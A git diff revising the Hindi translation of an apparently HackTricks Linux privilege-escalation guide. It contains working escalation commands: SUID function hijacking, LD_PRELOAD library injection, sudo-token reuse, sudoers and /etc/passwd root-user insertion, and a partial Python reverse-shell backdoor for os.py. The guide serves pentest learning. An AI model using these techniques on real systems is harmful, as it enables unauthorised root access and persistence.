+यदि आप पाते हैं कि आप **$PATH के किसी फ़ोल्डर के अंदर लिख सकते हैं** तो आप **लिखने योग्य फ़ोल्डर के अंदर एक बैकडोर बनाने** में सक्षम हो सकते हैं जिसका नाम किसी कमांड के समान है जिसे किसी अन्य उपयोगकर्ता (आदर्श रूप से रूट) द्वारा निष्पादित किया जाएगा और जो **आपके लिखने योग्य फ़ोल्डर के पहले स्थित फ़ोल्डर से लोड नहीं किया गया है** $PATH में।
### SUDO और SUID
@@ -726,13 +726,13 @@ sudo vim -c '!sh'
```
### SETENV
-यह निर्देश उपयोगकर्ता को **एक पर्यावरण चर सेट करने** की अनुमति देता है जबकि कुछ निष्पादित कर रहा है:
+यह निर्देश उपयोगकर्ता को **एक वातावरण चर सेट करने** की अनुमति देता है जबकि कुछ निष्पादित कर रहा है:
```bash
$ sudo -l
User waldo may run the following commands on admirer:
(ALL) SETENV: /opt/scripts/admin_tasks.sh
```
-इस उदाहरण, **HTB मशीन Admirer** पर आधारित, **PYTHONPATH हाइजैकिंग** के लिए **संवेदनशील** था ताकि स्क्रिप्ट को रूट के रूप में निष्पादित करते समय एक मनमाना पायथन लाइब्रेरी लोड किया जा सके:
+इस उदाहरण, **HTB मशीन Admirer** पर आधारित, **PYTHONPATH हाइजैकिंग** के लिए **संवेदनशील** था ताकि स्क्रिप्ट को रूट के रूप में निष्पादित करते समय एक मनमाना पायथन पुस्तकालय लोड किया जा सके:
```bash
sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh
```
@@ -769,9 +769,9 @@ sudo less
### कमांड पथ के साथ SUID बाइनरी
-यदि **suid** बाइनरी **पथ निर्दिष्ट करते हुए किसी अन्य कमांड को निष्पादित करती है**, तो आप उस कमांड के नाम से एक **फंक्शन** निर्यात करने की कोशिश कर सकते हैं जिसे suid फ़ाइल कॉल कर रही है।
+यदि **suid** बाइनरी **कमांड का पथ निर्दिष्ट करते हुए किसी अन्य कमांड को निष्पादित करती है**, तो आप उस कमांड के नाम से एक **function** निर्यात करने की कोशिश कर सकते हैं जिसे suid फ़ाइल कॉल कर रही है।
-उदाहरण के लिए, यदि एक suid बाइनरी _**/usr/sbin/service apache2 start**_ को कॉल करती है, तो आपको फंक्शन बनाने और उसे निर्यात करने की कोशिश करनी चाहिए:
+उदाहरण के लिए, यदि एक suid बाइनरी _**/usr/sbin/service apache2 start**_ को कॉल करती है, तो आपको फ़ंक्शन बनाने और उसे निर्यात करने की कोशिश करनी चाहिए:
```bash
function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
export -f /usr/sbin/service
@@ -780,7 +780,7 @@ export -f /usr/sbin/service
### LD_PRELOAD & **LD_LIBRARY_PATH**
-**LD_PRELOAD** पर्यावरण चर का उपयोग एक या एक से अधिक साझा पुस्तकालयों (.so फ़ाइलें) को लोड करने के लिए किया जाता है, जिन्हें लोडर द्वारा सभी अन्य से पहले लोड किया जाता है, जिसमें मानक C पुस्तकालय (`libc.so`) भी शामिल है। इस प्रक्रिया को पुस्तकालय को प्रीलोड करना कहा जाता है।
+**LD_PRELOAD** पर्यावरण चर का उपयोग एक या एक से अधिक साझा पुस्तकालयों (.so फ़ाइलें) को लोडर द्वारा सभी अन्य से पहले लोड करने के लिए किया जाता है, जिसमें मानक C पुस्तकालय (`libc.so`) शामिल है। इस प्रक्रिया को पुस्तकालय को प्रीलोड करना कहा जाता है।
हालांकि, सिस्टम की सुरक्षा बनाए रखने और इस सुविधा के दुरुपयोग को रोकने के लिए, विशेष रूप से **suid/sgid** निष्पादन योग्य के साथ, सिस्टम कुछ शर्तों को लागू करता है:
@@ -809,7 +809,7 @@ system("/bin/bash");
cd /tmp
gcc -fPIC -shared -o pe.so pe.c -nostartfiles
```
-अंततः, **privileges बढ़ाएँ** चलाते हुए
+अंत में, **privileges बढ़ाएँ** चलाते हुए
```bash
sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo
```
@@ -836,7 +836,7 @@ sudo LD_LIBRARY_PATH=/tmp
```
### SUID बाइनरी – .so इंजेक्शन
-जब किसी बाइनरी में **SUID** अनुमतियाँ होती हैं जो असामान्य लगती हैं, तो यह सुनिश्चित करना एक अच्छा अभ्यास है कि यह **.so** फ़ाइलें सही ढंग से लोड कर रही है। इसे निम्नलिखित कमांड चलाकर जांचा जा सकता है:
+जब किसी बाइनरी में **SUID** अनुमतियाँ असामान्य लगती हैं, तो यह सुनिश्चित करना एक अच्छा अभ्यास है कि यह **.so** फ़ाइलें सही तरीके से लोड कर रही है। इसे निम्नलिखित कमांड चलाकर जांचा जा सकता है:
```bash
strace 2>&1 | grep -i -E "open|access|no such file"
```
@@ -861,7 +861,7 @@ gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c
```
अंततः, प्रभावित SUID बाइनरी को चलाना एक्सप्लॉइट को ट्रिगर करना चाहिए, जिससे संभावित सिस्टम समझौता हो सके।
-## साझा ऑब्जेक्ट हाइजैकिंग
+## Shared Object Hijacking
```bash
# Lets find a SUID using a non-standard library
ldd some_suid
@@ -892,9 +892,9 @@ system("/bin/bash -p");
### GTFOBins
-[**GTFOBins**](https://gtfobins.github.io) Unix बाइनरीज़ की एक चयनित सूची है जिसे एक हमलावर द्वारा स्थानीय सुरक्षा प्रतिबंधों को बायपास करने के लिए शोषित किया जा सकता है। [**GTFOArgs**](https://gtfoargs.github.io/) वही है लेकिन उन मामलों के लिए जहां आप **केवल तर्कों को** एक कमांड में इंजेक्ट कर सकते हैं।
+[**GTFOBins**](https://gtfobins.github.io) एक क्यूरेटेड सूची है Unix बाइनरीज़ की, जिन्हें एक हमलावर द्वारा स्थानीय सुरक्षा प्रतिबंधों को बायपास करने के लिए शोषित किया जा सकता है। [**GTFOArgs**](https://gtfoargs.github.io/) वही है लेकिन उन मामलों के लिए जहां आप **केवल तर्कों को** एक कमांड में **इंजेक्ट** कर सकते हैं।
-यह प्रोजेक्ट उन Unix बाइनरीज़ के वैध फ़ंक्शंस को इकट्ठा करता है जिन्हें प्रतिबंधित शेल से बाहर निकलने, विशेषाधिकारों को बढ़ाने या बनाए रखने, फ़ाइलों को स्थानांतरित करने, बाइंड और रिवर्स शेल को स्पॉन करने, और अन्य पोस्ट-शोषण कार्यों को सुविधाजनक बनाने के लिए दुरुपयोग किया जा सकता है।
+यह प्रोजेक्ट उन Unix बाइनरीज़ के वैध फ़ंक्शंस को इकट्ठा करता है, जिन्हें प्रतिबंधित शेल से बाहर निकलने, विशेषाधिकारों को बढ़ाने या बनाए रखने, फ़ाइलों को स्थानांतरित करने, बाइंड और रिवर्स शेल को स्पॉन करने, और अन्य पोस्ट-एक्सप्लॉइटेशन कार्यों को सुविधाजनक बनाने के लिए दुरुपयोग किया जा सकता है।
> gdb -nx -ex '!sh' -ex quit\
> sudo mysql -e '! /bin/sh'\
@@ -913,13 +913,13 @@ https://gtfoargs.github.io/
यदि आप `sudo -l` तक पहुँच सकते हैं, तो आप टूल [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) का उपयोग कर सकते हैं यह जांचने के लिए कि क्या यह किसी भी sudo नियम का शोषण करने का तरीका खोजता है।
-### Sudo टोकन का पुन: उपयोग करना
+### Sudo टोकन का पुन: उपयोग
उन मामलों में जहां आपके पास **sudo एक्सेस** है लेकिन पासवर्ड नहीं है, आप **sudo कमांड निष्पादन की प्रतीक्षा करके और फिर सत्र टोकन को हाईजैक करके** विशेषाधिकार बढ़ा सकते हैं।
विशेषाधिकार बढ़ाने की आवश्यकताएँ:
-- आपके पास पहले से "_sampleuser_" उपयोगकर्ता के रूप में एक शेल है
+- आपके पास पहले से "_sampleuser_" के रूप में एक शेल है
- "_sampleuser_" ने **अंतिम 15 मिनट में कुछ निष्पादित करने के लिए `sudo` का उपयोग किया है** (डिफ़ॉल्ट रूप से, यह वह अवधि है जब sudo टोकन हमें बिना किसी पासवर्ड के `sudo` का उपयोग करने की अनुमति देता है)
- `cat /proc/sys/kernel/yama/ptrace_scope` 0 है
- `gdb` सुलभ है (आप इसे अपलोड करने में सक्षम हो सकते हैं)
@@ -939,7 +939,7 @@ sudo su
bash exploit_v2.sh
/tmp/sh -p
```
-- तीसरा **शोषण** (`exploit_v3.sh`) एक **sudoers फ़ाइल बनाएगा** जो **sudo टोकन को शाश्वत बनाता है और सभी उपयोगकर्ताओं को sudo का उपयोग करने की अनुमति देता है**
+- तीसरा **एक्सप्लॉइट** (`exploit_v3.sh`) एक **sudoers फ़ाइल बनाएगा** जो **sudo टोकन को शाश्वत बनाता है और सभी उपयोगकर्ताओं को sudo का उपयोग करने की अनुमति देता है**
```bash
bash exploit_v3.sh
sudo su
@@ -953,8 +953,8 @@ sudo su
```
### /etc/sudoers, /etc/sudoers.d
-The file `/etc/sudoers` and the files inside `/etc/sudoers.d` configure who can use `sudo` and how. These files **डिफ़ॉल्ट रूप से केवल उपयोगकर्ता रूट और समूह रूट द्वारा पढ़े जा सकते हैं**.\
-**यदि** आप इस फ़ाइल को **पढ़ सकते हैं** तो आप **कुछ दिलचस्प जानकारी प्राप्त कर सकते हैं**, और यदि आप कोई फ़ाइल **लिख सकते हैं** तो आप **अधिकार बढ़ा सकते हैं**.
+फाइल `/etc/sudoers` और `/etc/sudoers.d` के अंदर की फाइलें यह निर्धारित करती हैं कि कौन `sudo` का उपयोग कर सकता है और कैसे। ये फाइलें **डिफ़ॉल्ट रूप से केवल उपयोगकर्ता root और समूह root द्वारा पढ़ी जा सकती हैं**।\
+**यदि** आप इस फाइल को **पढ़** सकते हैं तो आप **कुछ दिलचस्प जानकारी प्राप्त कर सकते हैं**, और यदि आप कोई फाइल **लिख** सकते हैं तो आप **अधिकार बढ़ा** सकेंगे।
```bash
ls -l /etc/sudoers /etc/sudoers.d/
ls -ld /etc/sudoers.d/
@@ -973,13 +973,13 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win
```
### DOAS
-`sudo` बाइनरी के कुछ विकल्प हैं जैसे कि `doas` OpenBSD के लिए, इसकी कॉन्फ़िगरेशन `/etc/doas.conf` पर जांचना न भूलें।
+`sudo` बाइनरी के कुछ विकल्प हैं जैसे कि OpenBSD के लिए `doas`, इसकी कॉन्फ़िगरेशन `/etc/doas.conf` पर जांचना न भूलें।
```
permit nopass demo as root cmd vim
```
### Sudo Hijacking
-यदि आप जानते हैं कि एक **उपयोगकर्ता आमतौर पर एक मशीन से कनेक्ट होता है और विशेषाधिकार बढ़ाने के लिए `sudo` का उपयोग करता है** और आपके पास उस उपयोगकर्ता संदर्भ में एक शेल है, तो आप **एक नया sudo निष्पादन योग्य बना सकते हैं** जो आपके कोड को रूट के रूप में चलाएगा और फिर उपयोगकर्ता का कमांड। फिर, **उपयोगकर्ता संदर्भ का $PATH संशोधित करें** (उदाहरण के लिए .bash_profile में नया पथ जोड़कर) ताकि जब उपयोगकर्ता sudo निष्पादित करे, तो आपका sudo निष्पादन योग्य चलाया जाए।
+यदि आप जानते हैं कि एक **उपयोगकर्ता आमतौर पर एक मशीन से कनेक्ट होता है और विशेषाधिकार बढ़ाने के लिए `sudo` का उपयोग करता है** और आपके पास उस उपयोगकर्ता संदर्भ में एक शेल है, तो आप **एक नया sudo निष्पादन योग्य बना सकते हैं** जो आपके कोड को रूट के रूप में और फिर उपयोगकर्ता के कमांड को निष्पादित करेगा। फिर, **उपयोगकर्ता संदर्भ का $PATH संशोधित करें** (उदाहरण के लिए .bash_profile में नया पथ जोड़कर) ताकि जब उपयोगकर्ता sudo निष्पादित करे, तो आपका sudo निष्पादन योग्य निष्पादित हो।
ध्यान दें कि यदि उपयोगकर्ता एक अलग शेल का उपयोग करता है (bash नहीं) तो आपको नए पथ को जोड़ने के लिए अन्य फ़ाइलों को संशोधित करने की आवश्यकता होगी। उदाहरण के लिए[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) `~/.bashrc`, `~/.zshrc`, `~/.bash_profile` को संशोधित करता है। आप [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) में एक और उदाहरण पा सकते हैं।
@@ -1048,7 +1048,7 @@ execve(file,argv,0);
```
## क्षमताएँ
-Linux क्षमताएँ एक **प्रक्रिया को उपलब्ध रूट विशेषाधिकारों का उपसमुच्चय** प्रदान करती हैं। यह प्रभावी रूप से रूट **विशेषाधिकारों को छोटे और विशिष्ट इकाइयों में विभाजित** करता है। इन इकाइयों में से प्रत्येक को फिर प्रक्रियाओं को स्वतंत्र रूप से सौंपा जा सकता है। इस तरह पूर्ण विशेषाधिकारों का सेट कम हो जाता है, जिससे शोषण के जोखिम कम होते हैं।\
+Linux क्षमताएँ एक **प्रक्रिया को उपलब्ध रूट विशेषाधिकारों का उपसमुच्चय** प्रदान करती हैं। यह प्रभावी रूप से रूट **विशेषाधिकारों को छोटे और विशिष्ट इकाइयों में विभाजित** करता है। इन इकाइयों में से प्रत्येक को स्वतंत्र रूप से प्रक्रियाओं को सौंपा जा सकता है। इस तरह पूर्ण विशेषाधिकारों का सेट कम हो जाता है, जिससे शोषण के जोखिम कम होते हैं।\
अधिक जानकारी के लिए **क्षमताओं और उन्हें कैसे दुरुपयोग किया जा सकता है** पढ़ें:
{{#ref}}
@@ -1057,8 +1057,8 @@ linux-capabilities.md
## निर्देशिका अनुमतियाँ
-एक निर्देशिका में, **"कार्यान्वित"** के लिए बिट का अर्थ है कि प्रभावित उपयोगकर्ता **"cd"** फ़ोल्डर में जा सकता है।\
-**"पढ़ने"** का बिट दर्शाता है कि उपयोगकर्ता **फाइलों** की **सूची** बना सकता है, और **"लिखने"** का बिट दर्शाता है कि उपयोगकर्ता **फाइलों** को **हटा** और **नया** **फाइलें** **बना** सकता है।
+एक निर्देशिका में, **"कार्यक्रम"** के लिए बिट का अर्थ है कि प्रभावित उपयोगकर्ता "**cd**" फ़ोल्डर में जा सकता है।\
+**"पढ़ने"** का बिट यह दर्शाता है कि उपयोगकर्ता **फाइलों** की **सूची** बना सकता है, और **"लिखने"** का बिट यह दर्शाता है कि उपयोगकर्ता **फाइलों** को **हटा** और **नया** **फाइलें** बना सकता है।
## ACLs
@@ -1077,8 +1077,8 @@ getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null
```
## Open shell sessions
-In **पुराने संस्करणों** आप **हाइजैक** कर सकते हैं कुछ **शेल** सत्र का एक अलग उपयोगकर्ता (**रूट**).\
-In **नवीनतम संस्करणों** आप केवल **अपने स्वयं के उपयोगकर्ता** के स्क्रीन सत्रों से **कनेक्ट** करने में सक्षम होंगे। हालांकि, आप **सत्र के अंदर दिलचस्प जानकारी** पा सकते हैं।
+In **पुराने संस्करणों** में आप **हाइजैक** कर सकते हैं कुछ **शेल** सत्रों को एक अलग उपयोगकर्ता (**रूट**) के।\
+In **नवीनतम संस्करणों** में आप केवल **अपने स्वयं के उपयोगकर्ता** के स्क्रीन सत्रों से **कनेक्ट** करने में सक्षम होंगे। हालांकि, आप **सत्र के अंदर दिलचस्प जानकारी** पा सकते हैं।
### screen sessions hijacking
@@ -1147,18 +1147,18 @@ Check **Valentine box from HTB** for an example.
```bash
AuthorizedKeysFile .ssh/authorized_keys access
```
-यह कॉन्फ़िगरेशन यह संकेत देगा कि यदि आप उपयोगकर्ता "**testusername**" की **निजी** कुंजी के साथ लॉगिन करने का प्रयास करते हैं, तो ssh आपकी कुंजी की सार्वजनिक कुंजी की तुलना `/home/testusername/.ssh/authorized_keys` और `/home/testusername/access` में स्थित कुंजियों के साथ करेगा।
+यह कॉन्फ़िगरेशन यह संकेत देगा कि यदि आप उपयोगकर्ता "**testusername**" की **private** कुंजी के साथ लॉगिन करने का प्रयास करते हैं, तो ssh आपकी कुंजी की सार्वजनिक कुंजी की तुलना `/home/testusername/.ssh/authorized_keys` और `/home/testusername/access` में स्थित कुंजियों के साथ करेगा।
### ForwardAgent/AllowAgentForwarding
-SSH एजेंट फॉरवर्डिंग आपको **अपनी स्थानीय SSH कुंजियों का उपयोग करने की अनुमति देता है बजाय इसके कि कुंजियाँ** (बिना पासफ्रेज़ के!) आपके सर्वर पर बैठी रहें। इसलिए, आप ssh के माध्यम से **एक होस्ट** पर **जंप** कर सकेंगे और वहां से **दूसरे** होस्ट पर **जंप** कर सकेंगे **जो** आपकी **प्रारंभिक होस्ट** में स्थित **कुंजी** का उपयोग कर रहा है।
+SSH एजेंट फॉरवर्डिंग आपको **अपनी स्थानीय SSH कुंजियों का उपयोग करने** की अनुमति देता है बजाय इसके कि आप अपने सर्वर पर कुंजियाँ (बिना पासफ्रेज़ के!) छोड़ दें। इसलिए, आप ssh के माध्यम से **एक होस्ट** पर **जंप** कर सकेंगे और वहां से **दूसरे** होस्ट पर **जंप** कर सकेंगे **जो** आपकी **प्रारंभिक होस्ट** में स्थित **कुंजी** का उपयोग कर रहा है।
आपको इस विकल्प को `$HOME/.ssh.config` में इस तरह सेट करना होगा:
```
Host example.com
ForwardAgent yes
```
-ध्यान दें कि यदि `Host` `*` है, तो हर बार जब उपयोगकर्ता किसी अन्य मशीन पर कूदता है, तो वह होस्ट कुंजियों तक पहुँच प्राप्त कर सकेगा (जो एक सुरक्षा समस्या है)।
+ध्यान दें कि यदि `Host` `*` है, तो हर बार जब उपयोगकर्ता किसी अन्य मशीन पर कूदता है, वह होस्ट कुंजियों तक पहुँच प्राप्त कर सकेगा (जो एक सुरक्षा समस्या है)।
फाइल `/etc/ssh_config` इस **विकल्पों** को **ओवरराइड** कर सकती है और इस कॉन्फ़िगरेशन की अनुमति या अस्वीकृति कर सकती है।\
फाइल `/etc/sshd_config` ssh-agent फॉरवर्डिंग को कीवर्ड `AllowAgentForwarding` के साथ **अनुमति** या **अस्वीकृति** कर सकती है (डिफ़ॉल्ट अनुमति है)।
@@ -1173,7 +1173,7 @@ ssh-forward-agent-exploitation.md
### प्रोफाइल फ़ाइलें
-फाइल `/etc/profile` और `/etc/profile.d/` के अंतर्गत फ़ाइलें **स्क्रिप्ट हैं जो तब निष्पादित होती हैं जब कोई उपयोगकर्ता एक नया शेल चलाता है**। इसलिए, यदि आप इनमें से किसी को **लिख सकते हैं या संशोधित कर सकते हैं, तो आप विशेषाधिकार बढ़ा सकते हैं**।
+फाइल `/etc/profile` और `/etc/profile.d/` के तहत फ़ाइलें **स्क्रिप्ट हैं जो तब निष्पादित होती हैं जब उपयोगकर्ता एक नया शेल चलाता है**। इसलिए, यदि आप इनमें से किसी को **लिख सकते हैं या संशोधित कर सकते हैं, तो आप विशेषाधिकार बढ़ा सकते हैं**।
```bash
ls -l /etc/profile /etc/profile.d/
```
@@ -1194,7 +1194,7 @@ grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/
```
### Writable /etc/passwd
-पहले, निम्नलिखित कमांड में से एक के साथ एक पासवर्ड उत्पन्न करें।
+पहले, निम्नलिखित कमांड में से किसी एक के साथ एक पासवर्ड उत्पन्न करें।
```
openssl passwd -1 -salt hacker hacker
mkpasswd -m SHA-512 hacker
@@ -1214,7 +1214,7 @@ hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash
echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
su - dummy
```
-नोट: BSD प्लेटफार्मों में `/etc/passwd` `/etc/pwd.db` और `/etc/master.passwd` पर स्थित है, और `/etc/shadow` का नाम बदलकर `/etc/spwd.db` कर दिया गया है।
+नोट: BSD प्लेटफार्मों में `/etc/passwd` `/etc/pwd.db` और `/etc/master.passwd` पर स्थित है, साथ ही `/etc/shadow` का नाम बदलकर `/etc/spwd.db` कर दिया गया है।
आपको यह जांचना चाहिए कि क्या आप कुछ **संवेदनशील फ़ाइलों में लिख सकते हैं**। उदाहरण के लिए, क्या आप कुछ **सेवा कॉन्फ़िगरेशन फ़ाइल** में लिख सकते हैं?
```bash
@@ -1312,14 +1312,14 @@ grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
```
### Generic Creds Search/Regex
-आपको उन फ़ाइलों की जांच भी करनी चाहिए जिनमें "**password**" शब्द उनके **नाम** में या **सामग्री** के अंदर है, और साथ ही लॉग में IPs और ईमेल की जांच करनी चाहिए, या हैश regexps।\
+आपको उन फ़ाइलों की भी जांच करनी चाहिए जिनमें "**password**" शब्द उनके **नाम** में या **सामग्री** के अंदर है, और साथ ही लॉग में IPs और ईमेल की जांच करनी चाहिए, या हैश regexps।\
मैं यहाँ यह सब करने का तरीका नहीं बताने जा रहा हूँ लेकिन यदि आप रुचि रखते हैं तो आप अंतिम जांचें देख सकते हैं जो [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) करता है।
## Writable files
### Python library hijacking
-यदि आप जानते हैं कि **कहाँ** एक पायथन स्क्रिप्ट निष्पादित होने जा रही है और आप उस फ़ोल्डर के अंदर **लिख सकते हैं** या आप **पायथन पुस्तकालयों को संशोधित कर सकते हैं**, तो आप OS पुस्तकालय को संशोधित कर सकते हैं और इसे बैकडोर कर सकते हैं (यदि आप उस स्थान पर लिख सकते हैं जहाँ पायथन स्क्रिप्ट निष्पादित होने जा रही है, तो os.py पुस्तकालय को कॉपी और पेस्ट करें)।
+यदि आप जानते हैं कि **कहाँ** एक पायथन स्क्रिप्ट निष्पादित होने वाली है और आप उस फ़ोल्डर के अंदर **लिख सकते हैं** या आप **पायथन पुस्तकालयों को संशोधित कर सकते हैं**, तो आप OS पुस्तकालय को संशोधित कर सकते हैं और इसे बैकडोर कर सकते हैं (यदि आप उस स्थान पर लिख सकते हैं जहाँ पायथन स्क्रिप्ट निष्पादित होने वाली है, तो os.py पुस्तकालय को कॉपी और पेस्ट करें)।
**पुस्तकालय को बैकडोर करने के लिए** बस os.py पुस्तकालय के अंत में निम्नलिखित पंक्ति जोड़ें (IP और PORT बदलें):
```python
@@ -1327,7 +1327,7 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s
```
### Logrotate exploitation
-`logrotate` में एक सुरक्षा कमी उपयोगकर्ताओं को **लॉग फ़ाइल** या इसके माता-पिता निर्देशिकाओं पर **लेखन अनुमतियों** के साथ संभावित रूप से बढ़ी हुई विशेषाधिकार प्राप्त करने की अनुमति देती है। इसका कारण यह है कि `logrotate`, जो अक्सर **root** के रूप में चलता है, को मनमाने फ़ाइलों को निष्पादित करने के लिए हेरफेर किया जा सकता है, विशेष रूप से _**/etc/bash_completion.d/**_ जैसी निर्देशिकाओं में। यह महत्वपूर्ण है कि _/var/log_ में ही नहीं, बल्कि किसी भी निर्देशिका में जहां लॉग रोटेशन लागू किया गया है, अनुमतियों की जांच की जाए।
+`logrotate` में एक सुरक्षा कमी उपयोगकर्ताओं को **लॉग फ़ाइल** या इसके माता-पिता निर्देशिकाओं पर **लेखन अनुमतियों** के साथ संभावित रूप से बढ़ी हुई विशेषाधिकार प्राप्त करने की अनुमति देती है। इसका कारण यह है कि `logrotate`, जो अक्सर **रूट** के रूप में चलता है, को मनमाने फ़ाइलों को निष्पादित करने के लिए हेरफेर किया जा सकता है, विशेष रूप से _**/etc/bash_completion.d/**_ जैसी निर्देशिकाओं में। यह महत्वपूर्ण है कि _/var/log_ में ही नहीं, बल्कि किसी भी निर्देशिका में जहां लॉग रोटेशन लागू किया गया है, अनुमतियों की जांच की जाए।
> [!NOTE]
> यह सुरक्षा कमी `logrotate` संस्करण `3.18.0` और पुराने को प्रभावित करती है
@@ -1336,7 +1336,7 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s
आप इस सुरक्षा कमी का लाभ [**logrotten**](https://github.com/whotwagner/logrotten) के साथ उठा सकते हैं।
-यह सुरक्षा कमी [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx लॉग),** के बहुत समान है, इसलिए जब भी आप पाते हैं कि आप लॉग को बदल सकते हैं, तो जांचें कि उन लॉग का प्रबंधन कौन कर रहा है और जांचें कि क्या आप लॉग को सिमलिंक द्वारा प्रतिस्थापित करके विशेषाधिकार बढ़ा सकते हैं।
+यह सुरक्षा कमी [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx लॉग),** के बहुत समान है, इसलिए जब भी आप पाते हैं कि आप लॉग को बदल सकते हैं, तो जांचें कि उन लॉग का प्रबंधन कौन कर रहा है और जांचें कि क्या आप लॉग को सिमलिंक के द्वारा बदलकर विशेषाधिकार बढ़ा सकते हैं।
### /etc/sysconfig/network-scripts/ (Centos/Redhat)
@@ -1346,7 +1346,7 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s
नेटवर्क स्क्रिप्ट, _ifcg-eth0_ उदाहरण के लिए नेटवर्क कनेक्शनों के लिए उपयोग की जाती हैं। वे बिल्कुल .INI फ़ाइलों की तरह दिखती हैं। हालाँकि, इन्हें Linux पर नेटवर्क प्रबंधक (dispatcher.d) द्वारा \~sourced\~ किया जाता है।
-मेरे मामले में, इन नेटवर्क स्क्रिप्ट में `NAME=` को सही तरीके से संभाला नहीं गया है। यदि नाम में **सफेद/खाली स्थान है तो सिस्टम सफेद/खाली स्थान के बाद के भाग को निष्पादित करने की कोशिश करता है**। इसका मतलब है कि **पहले सफेद स्थान के बाद सब कुछ root के रूप में निष्पादित होता है**।
+मेरे मामले में, इन नेटवर्क स्क्रिप्ट में `NAME=` को सही तरीके से संभाला नहीं गया है। यदि नाम में **सफेद/खाली स्थान है तो सिस्टम सफेद/खाली स्थान के बाद के भाग को निष्पादित करने की कोशिश करता है**। इसका मतलब है कि **पहले सफेद स्थान के बाद सब कुछ रूट के रूप में निष्पादित होता है**।
उदाहरण के लिए: _/etc/sysconfig/network-scripts/ifcfg-1337_
```bash
@@ -1360,7 +1360,7 @@ DEVICE=eth0
दूसरी ओर, `/etc/init` **Upstart** से संबंधित है, जो Ubuntu द्वारा पेश किया गया एक नया **सेवा प्रबंधन** है, जो सेवा प्रबंधन कार्यों के लिए कॉन्फ़िगरेशन फ़ाइलों का उपयोग करता है। Upstart में संक्रमण के बावजूद, SysVinit स्क्रिप्ट्स अभी भी Upstart कॉन्फ़िगरेशन के साथ उपयोग की जाती हैं क्योंकि Upstart में एक संगतता परत है।
-**systemd** एक आधुनिक प्रारंभिककरण और सेवा प्रबंधक के रूप में उभरता है, जो मांग पर डेमन प्रारंभ करने, ऑटोमाउंट प्रबंधन, और सिस्टम स्थिति स्नैपशॉट जैसी उन्नत सुविधाएँ प्रदान करता है। यह वितरण पैकेजों के लिए `/usr/lib/systemd/` और प्रशासक संशोधनों के लिए `/etc/systemd/system/` में फ़ाइलों को व्यवस्थित करता है, जिससे सिस्टम प्रशासन प्रक्रिया को सरल बनाया जा सके।
+**systemd** एक आधुनिक प्रारंभिककरण और सेवा प्रबंधक के रूप में उभरता है, जो मांग पर डेमन प्रारंभ करने, ऑटोमाउंट प्रबंधन, और सिस्टम स्थिति स्नैपशॉट जैसी उन्नत सुविधाएँ प्रदान करता है। यह वितरण पैकेजों के लिए `/usr/lib/systemd/` और प्रशासक संशोधनों के लिए `/etc/systemd/system/` में फ़ाइलों को व्यवस्थित करता है, जिससे सिस्टम प्रशासन प्रक्रिया को सरल बनाया जा रहा है।
## अन्य तरकीबें
diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md
index 3bddea494..71c01b5c0 100644
--- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md
+++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md
@@ -4,15 +4,15 @@
## Basic Information
-Cgroup namespace एक Linux kernel विशेषता है जो **namespace के भीतर चल रहे प्रक्रियाओं के लिए cgroup पदानुक्रम का पृथक्करण प्रदान करती है**। Cgroups, जिसका संक्षिप्त रूप **control groups** है, एक kernel विशेषता है जो प्रक्रियाओं को पदानुक्रमित समूहों में व्यवस्थित करने की अनुमति देती है ताकि **CPU, मेमोरी, और I/O** जैसे सिस्टम संसाधनों पर **सीमाएँ** प्रबंधित और लागू की जा सकें।
+Cgroup namespace एक Linux kernel फीचर है जो **namespace के भीतर चल रहे प्रक्रियाओं के लिए cgroup hierarchies का पृथक्करण प्रदान करता है**। Cgroups, जिसका संक्षिप्त रूप **control groups** है, एक kernel फीचर है जो प्रक्रियाओं को हायरार्किकल समूहों में व्यवस्थित करने की अनुमति देता है ताकि **CPU, मेमोरी, और I/O जैसे सिस्टम संसाधनों पर सीमाएँ प्रबंधित और लागू की जा सकें**।
-हालांकि cgroup namespaces अन्य namespace प्रकारों की तरह अलग नहीं हैं (PID, mount, network, आदि), वे namespace पृथक्करण के सिद्धांत से संबंधित हैं। **Cgroup namespaces cgroup पदानुक्रम के दृश्य को वर्चुअलाइज़ करते हैं**, ताकि cgroup namespace के भीतर चलने वाली प्रक्रियाएँ होस्ट या अन्य namespaces में चलने वाली प्रक्रियाओं की तुलना में पदानुक्रम का एक अलग दृश्य देख सकें।
+हालांकि cgroup namespaces अन्य प्रकार के namespaces (PID, mount, network, आदि) की तरह एक अलग namespace प्रकार नहीं हैं, वे namespace पृथक्करण के सिद्धांत से संबंधित हैं। **Cgroup namespaces cgroup hierarchy का दृश्य वर्चुअलाइज़ करते हैं**, ताकि cgroup namespace के भीतर चल रही प्रक्रियाएँ होस्ट या अन्य namespaces में चल रही प्रक्रियाओं की तुलना में hierarchy का एक अलग दृश्य देख सकें।
### How it works:
